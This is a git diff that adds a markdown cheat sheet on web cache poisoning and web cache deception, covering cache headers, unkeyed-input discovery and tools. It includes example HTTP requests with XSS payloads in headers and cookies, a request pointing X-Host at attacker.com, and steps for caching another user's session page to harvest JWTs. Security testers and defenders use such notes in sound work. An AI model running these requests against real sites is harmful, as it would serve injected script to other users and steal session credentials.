diff --git a/Cache Deception.md b/Cache Deception.md
new file mode 100644
index 0000000..e14405d
--- /dev/null
+++ b/Cache Deception.md	
@@ -0,0 +1,167 @@
+# Cache Poisoning and Cache Deception
+* In **`web cache poisoning`**, the attacker causes the application to store some `malicious content` in the cache, and this content is served from the cache to other application users.
+
+* In **`web cache deception`**, the attacker causes the application to store some `sensitive content` belonging to another user in the cache, and the attacker then retrieves this content from the cache.
+
+# Cache Poisoning
+You need first to identify unkeyed inputs (parameters not needed to appear on the cached request but that change the returned page), see how to abuse this parameter and get the response cached.
+
+## Discovery: Check HTTP headers
+### Server Cache Headers:
+* **`X-Cache`**: in the response may have the value miss when the request wasn't cached and the value hit when it is cached
+* **`Cache-Control`**: indicates if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800
+* **`Vary`**: is often used in the response to indicate additional headers that are treated as part of the cache key even if they are normally unkeyed
+* **`Age`**: defines the times in seconds the object has been in the proxy cache
+* **`Server-Timing: cdn-cache; desc=HIT`**: also indicates that a resource was cached
+
+### Local Cache headers:
+* **`Clear-Site-Data`**: Header to indicate the cache that should be removed: Clear-Site-Data: "cache", "cookies"
+* **`Expires`**: Contains date/time when the response should expire: Expires: Wed, 21 Oct 2015 07:28:00 GMT
+* **`Pragma: no-cache`** same as **`Cache-Control: no-cache`**
+* **`Warning`**: The **Warning** general HTTP header contains information about possible problems with the status of the message. More than one Warning header may appear in a response. **`Warning: 110 anderson/1.3.37 "Response is stale"`**
+
+## Discovery: Caching 400 code
+If you are thinking that the response is being stored in a cache, you could try to send requests with a bad header, which should be responded to with a status code 400. Then try to access the request normally and if the response is a 400 status code, you know it's vulnerable (and you could even perform a DoS).
+
+
+## Discovery: Identify and evaluate unkeyed inputs
+You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to brute-force parameters and headers that may be changing the response of the page. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there:
+```javascript
+<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
+```
+
+## Exploiting
+* A header like **`X-Forwarded-For`** is being reflected in the response unsanitized.
+> You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed.
+> Note that this will poison a request to `/en?region=uk` not to `/en`
+```javascript
+GET /en?region=uk HTTP/1.1
+Host: innocent-website.com
+X-Forwarded-Host: a."><script>alert(1)</script>"
+```
+* Using web cache poisoning to exploit **`cookie-handling`** vulnerabilities
+```javascript
+GET / HTTP/1.1
+Host: vulnerable.com
+Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
+```
+* Using multiple headers to exploit web cache poisoning vulnerabilities
+  * you may find an Open redirect if you set `X-Forwarded-Host` to a **domain controlled by you**
+  * `X-Forwarded-Scheme` to http
+```javascript
+GET /resources/js/tracking.js HTTP/1.1
+Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
+X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
+X-Forwarded-Scheme: http
+```
+* limited Vary header
+If you found that the X-Host header is being used as domain name to load a JS resource but the Vary header in the response is indicating User-Agent. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent:
+```javascript
+GET / HTTP/1.1
+Host: vulnerbale.net
+User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
+X-Host: attacker.com
+```
+
+
+# Cache Deception
+### Caching Sensitive Data
+Web Cache Deception on PayPal Home Page
+1. Normal browsing, visit home : `https://www.example.com/myaccount/home/`
+2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css`
+3. The page is displayed as `/home` and the cache is saving the page
+4. Open a private tab with the previous URL : `https://www.example.com/myaccount/home/malicous.css`
+5. The content of the cache is displayed
+
+
+## CloudFlare Caching
+CloudFlare caches the resource when the `Cache-Control` header is set to `public` and `max-age` is greater than `0`.
+
+* The Cloudflare CDN does not cache HTML by default
+* Cloudflare only caches based on file extension and not by MIME type: [cloudflare/default-cache-behavior](https://developers.cloudflare.com/cache/about/default-cache-behavior/)
+
+## Web Cache Deception on OpenAI
+1. Attacker crafts a dedicated **.css** path of the **`/api/auth/session`** endpoint
+2. Attacker distributes the link
+3. Victims visit the legitimate link
+4. Response is cached
+5. Attacker harvests **JWT Credentials**
+
+## Tools
+* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner)
+* [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+